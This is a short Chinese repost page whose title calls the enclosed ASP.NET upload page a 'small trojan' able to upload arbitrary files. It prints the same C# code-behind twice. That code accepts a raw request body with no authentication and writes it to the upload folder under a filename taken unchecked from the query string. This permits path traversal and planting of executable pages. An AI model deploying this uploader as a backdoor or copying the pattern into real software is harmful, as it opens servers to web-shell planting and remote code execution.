Aspx 页面接收文件流 改改就成支持上传任意文件的小马了
程序员文章站
2022-10-18 18:57:59
Aspx 页面接收文件流 改改就成支持上传任意文件的小马了
upload2.aspx
using System;
using System.Collections...
Aspx 页面接收文件流 改改就成支持上传任意文件的小马了
upload2.aspx
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class upload2 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.QueryString.Count > 0)
{
string filename = Request.QueryString["filename"];
Encoding myEncoding = Encoding.GetEncoding("utf-8");
//接收传递过来的数据流
Stream resStream = Request.InputStream;
byte[] filecontent = new byte[resStream.Length];
//将数据流读入byte数组
resStream.Read(filecontent, 0, filecontent.Length);
//数组转换为string以便转换base64使用
string a = myEncoding.GetString(filecontent);
//将string读取base64解密到byte数组
//byte[] filecontent2 = Convert.FromBase64String(a);
//写入目录
File.WriteAllBytes(Server.MapPath("~/upload/" + filename ), filecontent);
//返回值
//Response.Write("ok");
Response.End();
}
}
}
upload2.aspx
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class upload2 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.QueryString.Count > 0)
{
string filename = Request.QueryString["filename"];
Encoding myEncoding = Encoding.GetEncoding("utf-8");
//接收传递过来的数据流
Stream resStream = Request.InputStream;
byte[] filecontent = new byte[resStream.Length];
//将数据流读入byte数组
resStream.Read(filecontent, 0, filecontent.Length);
//数组转换为string以便转换base64使用
string a = myEncoding.GetString(filecontent);
//将string读取base64解密到byte数组
//byte[] filecontent2 = Convert.FromBase64String(a);
//写入目录
File.WriteAllBytes(Server.MapPath("~/upload/" + filename ), filecontent);
//返回值
//Response.Write("ok");
Response.End();
}
}
}
上一篇: 单片机实现的简易智能机器人